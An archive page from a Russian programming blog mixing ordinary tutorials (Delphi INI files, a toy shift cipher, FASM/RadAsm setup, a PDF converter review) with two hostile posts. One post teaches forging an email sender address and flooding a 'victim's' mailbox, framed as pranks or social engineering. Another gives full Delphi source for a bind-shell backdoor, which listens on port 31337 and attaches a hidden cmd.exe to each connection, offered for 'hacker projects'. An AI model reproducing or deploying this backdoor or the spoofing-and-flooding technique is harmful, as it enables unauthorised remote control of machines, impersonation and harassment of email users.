DevProg: Блог для программистов

Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!

Archive for the ‘Программирование’ Category

Урок PHP — Как отправить электронное письмо с адресом чужого e-mail ящика?!

Posted by devprog на Март 19, 2011

Урок PHP — Как отправить электронное письмо с адресом чужого e-mail ящика?!

В современной всемирной паутине, в многообразии коммуникативных средств и методов, у большинства возникает желание или насущная необходимость отправить электронное письмо с чужого e-mail адреса, иначе говоря, отправить сообщение с поддельным адресом отправителя. И при этом каждый преследует разные цели, начиная от простого прикола над другом, заканчивая продвинутой социальной инженерией. Не смотря на то, какую цель мы преследуем, программная реализация этой задачи остается одинаковой для всех случаев. Итак, начнем. Я распишу все действия подробно, для того чтобы не возникало лишних вопросов по реализации php-скрипта.

1. Начинаем кодить, открывайте свой любимый редактор кода и записывайте аккуратно команды одну за другой (лично я пользуюсь Notepad++, скачать актуальную русскую версию редактора можно отсюда):

Как видите, только что, написанный нами скрипт, позволяет не только отправлять электронные письма от чужого адреса,  но и еще зафлудживать электронный ящик жертвы (параметр, равен количеству отправляемых сообщений $amount = 1;).

И если есть желание или цель зафлудить, можно конечно задать параметру $amount ,числовое значение равное 100 и тем самым зафлудить чужой мыльник. При этом, не стоит забывать, что отправка проводиться средствами PHP, так что полноценного спама не получиться. J

После того как написали и отредактировали под свои настройки скрипт, необходимо выбрать сервер, с которого мы и будет его запускать.  Если цель, отправить 1 сообщение с поддельным чужым электронным адресом, вполне достаточно будет зарегистрироваться на бесплатных хостингах с поддержкой пхп, а таких немало, к примеру holm.ru , 110mb.com и т.п. Обычно они разрешают отправку писем, со своих доменов, но с большим временем ожидания (может доходить до 1 минуты). Но а если нужен продолжительный и суровый флуд, то тут уже нужен полноценный хостинг, или вдс-ка с обязательным наличием PHP и Sendmail. Остается только отредактировать скрипт под свои настройки и залить его на хостинг/сервер/вдс и запустить через браузер.

Скачать готовый скрипт из урока можно отсюда (исходники sender.php)

Posted in Новичку, Советы, Хитрости, PHP | Отмечено: , | 9 комментариев »

Обзор бесплатного софта pdf to word converter

Posted by devprog на Март 11, 2011

На данный момент у пользователей ПК возникают  потребности в конвертировании PDF-файлов в Word. Большой проблемы в этом нет, но есть один нюанс — программ для конвертации достаточно много. Вот в этом мы как раз и попробуем разобраться.

 

pdf to word converter

 

Выбор программы будет основан на том, какую именно цель вы преследуете. Если вам нужно сохранить первоначальную структуру файла, лучшим решением будет найти специальный софт – конвертер PDF. Подойдут небольшие утилиты или универсальные конвертеры с достаточным количеством настроек. Из последних отличным выбором будут  Smart PDF Converter Pro и ABBYY PDF Transformer. Также, хорошие показатели в конвертировании PDF в DOC показали такие программы как VeryPDF. При конвертировании DVG в PDF достойно выглядела BlueLabelSoft.

Но, если вам необходимо конвертировать лишь пару абзацев, то оптимальным выбором будет Adobe Reader и Foxit Reader.

Некоторые веб-мастера имеют нужду в конвертировании PDF в HTML. Тут уже задача услажняется из-за того, что желания пользователя может не совпасть с конечным результатом выданным программой.

Также, для конвертации еще существует масса онлайн-сайтов. Но они вам подойдут если у вас есть доступ к интернету. Один из сайтов, предоставляющих данную услугу является www.adobe.com.

Ссылки:

http://www.freepdfconvert.com

http://www.adobe.com

Скачать:

Pdf в Doc — http://www.hellopdf.com/download.php

BlueLabelSoft — http://www.brothersoft.com/publisher/blue-label-soft.html

ABBYY PDF Transformer — http://www.softportal.com/software-3210-abbyy-pdf-transformer.html

Solid Converter PDF   — http://www.softportal.com/software-4129-solid-converter-pdf.html

Posted in Новичку, Обзоры, Советы | 2 комментария »

Урок Delphi – Учимся подключать .INI файлы в свои Delphi-приложения.

Posted by devprog на Июль 25, 2010

Сегодня мы рассмотрим, как подключать инициализационные файлы в свои приложения на Delphi. Инициализационные .INI файлы представляют собой, обычные текстовые файлы, которые вы могли наблюдать обычно в папках с программами на вашем компьютере. Они используются для хранения пользовательских настроек и параметров и обычно открываются любыми текстовыми редакторами и имеют такой формат:

<название параметра> = < его значение>

Работать с .INI файлами в Delphi очень просто. Основной базовый класс для работы с ними это TIniFile, который позволяет производить над ними все операции записи и считывания, перезаписи пользовательских настроек.  Есть еще класс TMemIniFile, который  отличается и первого TIniFile, тем, что все данные записываются в оперативную память компьютера, и сохраняются на диске только в момент вызова UpdateFile метода. Оба этих класса содержаться в модуле IniFile и для того, чтобы мы смогли использовать  .INI файлы и работать с этими классами в ваших приложениях, вы должны добавить  модуль IniFiles в секцию Uses.

Создать  объект класса TIniFile или TMemIniFile очень просто, для этого нужно передать конструктору имя .INI файла. В случае, если данного файла не существует, он создается автоматически. Для чтения/записи  из/в .INI файл пользовательских значений программно существуют методы

ReadSrting/WriteString;

ReadDate/WriteDate;

ReadInteger/WriteInteger;

ReadBool/WriteBool;

Довольно теории, теперь попробуем попрактиковаться и написать небольшое приложение, наглядно демонстрирующее работу с инициализационными файлами в Delphi и классом TIniFile. Наше приложение после запуска считает из .INI файла информацию о положении и размерах окна, а так же содержимого поля ввода типа Edit, а когда мы  закроем приложение оно вновь запишет в .INI файл свои новые( если мы поменяли размер окна или что-то написали в поле ввода) данные, с которыми оно откроется в следующий раз.

Открываем Delphi,  помещаем на форму компоненты Edit(поле ввода) и Button(обычная кнопка). Будем обрабатывать события компонента Form, главной формы  при создании OnCreate и закрытии OnClose, а  также события нажатия на кнопку Button OnClick.

Добавляем в секцию подключаемых модулей Uses модуль IniFile, в котором содержится класс TIniFile, с которым наше приложение будет работать.

В самом начале работы программы (в теле обработчика события создания формы OnCreate) мы попробуем прочитать данные из .INI файла. Чтобы это реализовать, создадим объект класса TIniFile, вызвав его конструктор, с именем нужного файла.  Имя файла мы получим из имени исполняемого файла приложения Application.ExeName, изменив его расширение на “ini” с помощью функции ChangeFileExt.

Извлекать из .INI файла отдельные значения мы будем с помощью методов: ReadInteger, ReadString и ReadBool. Эти функции имеют 3 аргумента

  1. Read/Write*(имя типа данных Integer, String или Bool)*  ( 1N , 2N, 3N ) ;
  2. 1N  — первый аргумент, имя секции, в нашем случае это будет Form
  3. 2N —  второй аргумент, имя параметра (Top, Left, Text и т.п.)
  4. 3N – третий аргумент, указывает значение по умолчанию(100, 200, 300 и т.п.) если используется Read* чтение, в случае Write* записи, это будет записываемое значение.

Извлечь значения из .INI файла нам возможно и не удастся  не только в аварийном случае, но и по нескольким из причин, например, отсутствие  инициализационного файла, или секции. Поэтому, для обработки подобных или еще более серьезных  ошибок мы будем использовать защищенный блок tryfinally.

procedure TForm1.FormCreate(Sender: TObject);
var
IniSoub: TIniFile;
begin
Caption := ‘*.INI’;
Button1.Caption := ‘&Сохранить»
Edit1.Text := »;
//создаем объект класса TIniFile
IniSoub := TIniFile.Create(ChangeFileExt(Application.ExeName, ‘.ini’));
try // пробуем прочитать данные
Edit1.Text := IniSoub.ReadString(‘Edit’, ‘Text’, »);
Top := IniSoub.ReadInteger(‘Form’, ‘Top’, 100);
Left := IniSoub.ReadInteger(‘Form’, ‘Left’, 100);
Height := IniSoub.ReadInteger(‘Form’, ‘Height’, 100);
Width := IniSoub.ReadInteger(‘Form’, ‘Wedth’, 147);
IF IniSoub.ReadBool(‘Form’, ‘Maximized’, false) then
WindowState := wsMaximized
else
WindowState := wsNormal;
finally
IniSoub.Free; //освобождаем память
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;

Когда мы закрываем программу, событие закрытия формы OnClose обработается и запишет текущие значения (высота, размер окна, и т.п.) в инициализационный файл с помощью методов класса  TIniFile :

WriteString()
WriteInteger()
WriteBool()

Мы их рассмотрели выше, в Write* все тоже,  что и в Read*, кроме последнего 3 аргумента, который записывает  .INI файл какое-то числовое значение.

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
IniSoub: TIniFile;
begin
//создаем обьект класса TIniFile
IniSoub := TIniFile.Create(ChangeFileExt(Application.ExeName, ‘.ini’));
try // пытаемся записать данные в наш .INI файл
IniSoub.WriteString(‘Edit’, ‘Text’, Edit1.Text);
IniSoub.WriteInteger(‘Form’, ‘Top’, Top);
IniSoub.WriteInteger(‘Form’, ‘Left’, Left);
IniSoub.WriteInteger(‘Form’, ‘Height’, Height);
IniSoub.WriteInteger(‘Form’, ‘Width’, Width);
IniSoub.WriteBool(‘Form’, ‘Maximized’, WindowState = wsMaximized);
finally
IniSoub.Free; // освободим память
end;
end;

Теперь скомпилируйте приложение и сохраните его куда-нибудь в папку или на рабочий стол.  Откройте его и попробуйте поменять, например, размер его окна, его расположение на вашем мониторе и нажмите кнопку ”Сохранить”. Теперь откройте его заново и можете убедиться, что размер окна, и  остальное что вы меняли, отображается с тем же размером. Все эти данные находятся в .INI файле, вы можете его открыть и отредактировать, поменяв тем самым какие-то значения, с которым приложение отобразиться, как вы его откроете.

Вот его листинг

[Edit]

Text= Привет

[Form]

Top=100

Left=100

Height=200

Width=440

Не забывайте при редактировании .INI файла вручную указывать имена секций в квадратные скобки  [….], а все остальные строки файла, должны иметь формат <переменная>=<значение>

Если хотите предусмотреть возможность редактирования .INI файлов через саму программу, можно использовать компонент ValueListEditor, находящийся на вкладке Additional.

На сегодня урок закончен. Все вопросы можете задавать в комментариях, с удовольствием на них отвечу, и если что-то не понятно, всегда помогу вам разобраться!

Posted in Delphi, Новичку | Отмечено: | Leave a Comment »

Пишем алгоритм простого шифрования текста на Delphi

Posted by devprog на Июль 21, 2010

Всем привет :),  это моя первая тут публикация, с этого дня  я буду стараться писать для вас почаще и разнообразнее, затрагивая все интересные области как программирования так и многого другого , что думаю будет вам не менее интересно. Итак,  сегодня мы  напишем простое приложение реализующее алгоритм примитивного шифрования ввода текста на Delphi. Простое лишь потому что, на его основе можно будет написать что-то уже более сложное, что можно будет использовать в наших программах, где шифрование может быть необходимо, например в анти-кейлогерах,  но и также  в icq клиентах,  различных интернет мессенджерах передающих текстовые сообщения.

Что собственно приложение будет делать? Оно будет шифровать текст, который вы будите набирать в поле ввода, моментально отображая этот текст в зашифрованном по заданному нами алгоритму виде, а так же расшифровывать его при нажатии на кнопку и обратно.

Шифровать будем элементарным алгоритмом. Каждый символ будет заменятся на следующий за ним в таблице ASCII значений.

В дельфи выбираете следующие компоненты и перетаскиваете их на форму мышкой.

  1. Edit
  2. Button
  3. Label

Нам потребуется, обрабатывать следующие события вышеперечисленных компонентов :

  • Form1: OnCreate
  • Edit1: OnKeyPress
  • Button1: OnClick

Немного расскажу о наших событиях. Когда вы нажимаете на символьной клавише на клавиатуре, генерируется событие OnKeyPress, и когда это событие произошло в атрибуты этого события заноситься ASCII-код символа  нажатой клавиши. И таким образом, если мы перехватим это событие, еще до его завершения, то мы сможем заменить и код символа этой клавиши на наш, который и отобразиться у нас в поле ввода.

Итак напишем код , для выполнения его  нашими обработчиками событий,  примерно вот что у нас должно получиться :

procedure  TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin

//Заменяем перехваченный символ на следующий по порядку
Key := Chr(Ord(Key) + 1)
end;

procedure TForm1.Button1Click( Sender: TObject);
var

Ret: AnsiString; //Тип данных  — ANSI строка(массив символов)
I: Integer; // Тип данные — целые числа
begin
//копируем то что находиться в поле ввода во вспомогательную строку
//и заменяем каждый символ в строке на предыдущий по таблице ASCII

Ret := Edit1.Text;
for I := 1 to Length(Ret) do
Ret[I] := Chr(Ord(Ret[I]) — 1)
//копируем результат обратно в поле ввода по нажатию на кнопку
Edit1.Text := Ret;
end;

После чего скомпилируем нажав (Run |>) и можете протестировать :)

Если что-то не получается пишите  в комментарии, всегда буду рад вам помочь разобраться ! :)

Posted in 5минутные утилиты, Delphi, Новичку | Отмечено: | 9 комментариев »

Класс для открытия шелла с перенаправлением I/O

Posted by devprog на Май 22, 2009

Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?

unit xnShellWorks;

interface
uses Windows;

const
  AF_INET     = 2;
  PF_INET     = AF_INET;
  SOCK_STREAM = 1;
  IPPROTO_TCP = 6;
  IPPROTO_PUP = 12;
  IPPROTO_UDP = 17;
  IPPROTO_IDP = 22;
  IPPROTO_ND  = 77;
  IPPROTO_RAW = 255;
  IPPROTO_MAX = 256;
  START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  null = nil;
  INVALID_SOCKET = not 0;

//==============================================================================
// Структуры начало
//==============================================================================
type
  S_UN_B = packed record
    s_b1 : BYTE;
    s_b2 : BYTE;
    s_b3 : BYTE;
    s_b4 : BYTE;
  end;

  S_UN_W = packed record
    s_w1 : WORD;
    s_w2 : WORD;
  end;

  T_ADDRESS_UNION = packed record
    S_un_b : S_UN_B;
    S_un_w : S_UN_W;
    S_addr : DWORD;
  end;

  T_WSA_DATA = packed record
    wVersion       :   Word;
    wHighVersion   :   Word;
    szDescription  :   array[0..256] of byte;
    szSystemStatus :   array[0..128] of byte;
    iMaxSockets    :   Word;
    iMaxUdpDg      :   Word;
    lpVendorInfo   :   Dword;
  end;

  Tin_addr = packed record
    S_un           :   T_ADDRESS_UNION;
  end;

  TSockAddr_In = packed record
    sin_family     :   Word;
    sin_port       :   Word;
    sin_addr       :   Tin_addr;
    sin_zero       :   array[0..13] of byte;
  end;
//==============================================================================
// Структуры конец
//==============================================================================

type
  xnShell = class (TObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure SetShellPort(PortNumber:SmallInt);
    procedure BindShell(SockHandle:DWORD);
    procedure ListenShell(SockHandle:DWORD);
    procedure StartTelnetService(Flag:boolean);
    function  AcceptShell(SockHandle:DWORD):DWORD;
    function  CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
    function  StartUp():DWORD;
  private
    FPort:WORD;
    FSocket:DWORD;
    WSAData:T_WSA_DATA;
    FSockAddIn:TSockAddr_In;
    st_info:TStartupInfo;
    pt_info:TProcessInformation;

end;

//==============================================================================

function  WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function  htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function  accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;

{==============================================================================}
implementation

{ xnShell }

//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
  inherited Create;
  FPort:=0;
end;

//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
  ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
  ZeroMemory(@FSockAddin,SizeOf(WSAData));
  inherited Destroy;
end;

{——————————————————————————-
  Procedure: xnShell.SetShellPort
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: PortNumber: SmallInt — номер открываемого порта
  Result:    None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
  FPort:=PortNumber;
end;

{——————————————————————————-
  Procedure: xnShell.StartUp
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: None
  Result:    DWORD — хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
 begin
  WSAStartup($0202,@WSAData);  // Activate ws2_32.dll
  FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  FSockAddIn.sin_family:=AF_INET;
  FSockAddIn.sin_port:=htons(FPort);
  result:=FSocket;
 end
else
 begin
 Result:=$0;
 end;
end;

{——————————————————————————-
  Procedure: xnShell.BindShell
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD  — хендл сокета для бинда (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;

{——————————————————————————-
  Procedure: xnShell.ListenShell
  Author:    robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD — хендл сокета для listen (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
  listen(SockHandle,0);
end;

{——————————————————————————-
  Procedure: xnShell.AcceptShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: SockHandle: DWORD
  Result:    DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
  result:=accept(SockHandle,NULL,0);
end;

{——————————————————————————-
  Procedure: xnShell.CreateShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: ShellName: string;OutHandle:DWORD
  Result:    BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 st_info.hStdError  := OutHandle;
 st_info.hStdOutput := OutHandle;
 st_info.hStdInput  := OutHandle;
 reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
 CloseHandle(OutHandle);
 CloseHandle(pt_info.hThread);
 CloseHandle(pt_info.hProcess);
 if reslt <> false then result:=false else Result := true;
end;

{——————————————————————————-
  Procedure: xnShell.StartTelnetService
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: None
  Result:    None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 if Flag = True then
 CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
 else
 CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;

end.

А вот как это дело можно юзать в своих хеккерских проектах:

program shellset;

uses xnShellWorks;
type
 DWORD = Cardinal;
var
  Shell:xnShell;
  handle:DWORD;
  SHandle:DWORD;
begin
  Shell:=xnShell.Create;
  Shell.SetShellPort(31337);
  handle:=Shell.StartUp;
  Shell.BindShell(handle);
  Shell.ListenShell(handle);
  while true do
   begin
    sHandle := Shell.AcceptShell(handle);
    if SHandle <> INVALID_SOCKET then
     begin
      Shell.CreateShell(‘cmd.exe’,sHandle);
     end;
    end;
end.

 

 Подписаться на посты через RSS
 Подписаться на комментарии через RSS

 

Posted in Delphi | 6 комментариев »

Web Developer Kit 1.0 — Карманный набор Веб-разработчика

Posted by devprog на Март 4, 2009

У вас имели место быть такие случаи, когда необходимо, да и просто хочется написать или отладить какое либо веб-приложение, Будь то скрипт на PHP, парсинг текста на PERL или запрос SQL, а необходимых инструментов под рукой нет?

Конечно, такие ситуации бывали у всех нас. И это ещё хорошо, что есть выход в Интернет, а что делать если его нет, а на новой машине нужно быстро настроить веб-сервер, установить редактор с подсветкой синтаксиса, ещё бы хорошо иметь программу для проверки регулярных выражений. Ну и в довесок можно иметь на рабочей машине разного рода книги и справочники по программированию.

Всё это есть в пакете программ Web Developer Kit. Эту сборку самых необходимых программ для веб-разработчика можно в быстро развернуть на любой машине под управлением ОС Windows. В любой момент вы можете иметь полноценное рабочее место для программирования и отладки веб-приложений.

Рассмотрим пакет Web Developer Kit более подробно:

1) Пакет Denwer, содержащий в себе целый набор инструментов для веб разработчика, такие как веб-сервер Apache, PHP 5, PERL, MySQL Server.

2) Текстовый редактор Notepad++ с подсветкой синтаксиса самых распространённых языков разработки, таких как PERL, PHP, JavaScript итд. Языки интерфейса – Русский, Украинский, Английский. Плюс, некоторые полезные плагины к редактору (Например HEX-Edit).

3) Программа для проверки регулярных выражений Regular Expression Tester. Она очень компактна, удобна и может проверять регулярные выражения многих видов.

4) Маленький и быстрый FTP-Клиент MicroFTP 2000, который очень лёгок в настройке.

5) Книги и справочники для Веб-программиста. Хорошие справочники по CSS, HTML, PHP, MySQL, XML.

6) Шпаргалки в виде PNG рисунков по таким предметам как CSS, HTML, mod_rewrite, MySQL, PHP, Регулярные выражения, Ruby On Rails.

Пакет выполнен в виде удобного инсталятора (похожий на WinAmp). После установки всё удобно структурируется в программном меню, в поддиректории Web Developer Kit.

Установка:

Для установки Denwer, после установки пакета, выполните следующие действия:

Пуск -> Программы -> Web Developer Kit -> Web Server -> Install Denwer

Загрузка пакета:

Скачать пакет Web Developer Kit

Подписаться на посты через RSS

Posted in 5минутные утилиты, Программирование | 5 комментариев »

Как прикрутить FASM к RadAsm. Пытаемся подружить 2 клёвых инструмента!

Posted by devprog на Февраль 24, 2009

Привет. Прошу прощение за долгое отсутствие новых материалов на блоге. Всё это гадская работа виновата. Итак, приступим к настройке!

• Скачиваем с офф.сайта вот этот архив:  пакет RadASMон содержит файлы поддержки языков ассемблеров, таких как MASM, FASM, TASM, NASM… Нам, из этого архива, нужны только файлы и папки, в названиях которых, наш пытливый мозг может обнаружить вхождения подстроки “fasm”. Эти файлы и папки нужно записать в корень директория с установленным RadAsm! Например, RadAsm у нас установлен в: D:\Utilites\RadAsm\ – значит туда и кидаем следующие файлы:

1. Папка FASM полностью в D:\Utilites\RadAsm\

2. Файл fasm.ini тоже кидаем в D:\Utilites\RadAsm\

3. Файл fasm.ct из папки Addins кидаем в D:\Utilites\RadAsm\Addins\

 

• Скачиваем сам компилятор, если не скачали с сайта http://www.flatassembler.net/download.php и открываем архив. Из него нам нужны вот эти файл и папка:

1. Файл FASM.EXE пишем в D:\Utilites\RadAsm\

2. Папку INCLUDE засунем в D:\Utilites\RadAsm\

Этим мы переписали сам компилятор ассемблера и директорию с инклудниками в папку с RadAsm.

 

• Качаем GoRC.exe. GORC – это компилялка ресурсов. Архив распаковываем ровно в ту папку, куда записывали всё до этого, всмысле вот сюда: D:\Utilites\RadAsm\

 

• Открываем RadAsm.exe | Настройки | Programming Languages | Добавляем fasm.ini | Жмём Add | OK

 

• Создаём новый проект, выбираем из списка компилятор fasm! Выбираем шаблон win32dlg.tpl. Теперь удаляем в процедуре DlgProc директиву enter, а директиву return меняем на ret! Тем самым, должны получить следующий код процедуры DlgProc:

proc DlgProc,hWnd,uMsg,wParam,lParam
push edi esi ebx
; удалили enter
mov eax,[uMsg]
cmp eax,WM_COMMAND
je jCOMMAND
cmp eax,WM_INITDIALOG
je jINITDIALOG
cmp eax,WM_CLOSE
je jCLOSE
xor eax,eax
jmp finish

jINITDIALOG:
mov eax,[hWnd]
mov [gWnd],eax

mov eax,1
jmp finish

jCOMMAND:
mov eax,[wParam]
cmp eax,1000
je a1000
xor eax,eax
jmp finish

a1000:
invoke SendMessage,[hWnd],WM_CLOSE,0,0
mov eax,1
jmp finish

jCLOSE:
invoke EndDialog,[hWnd],0
mov eax,1

finish:
pop ebx esi edi
ret
endp

 

• Ассемблируем проект! Всё должно получиться, и вы увидите простую форму с одной кнопкой. Если вам что нибудь не ясно – спрашивайте, не стесняйтесь. Я всегда рад общению. Настройка RadAsm+FASM успешно завершена.

 

Понравилась заметка? Хочешь продолжать читать мой блог? Тогда, подпишись на мою RSS-ленту новостей! Теперь ты не пропустишь возможность почитать новенькие заметки, на Блоге для Программистов!

Posted in Ассемблер | 9 комментариев »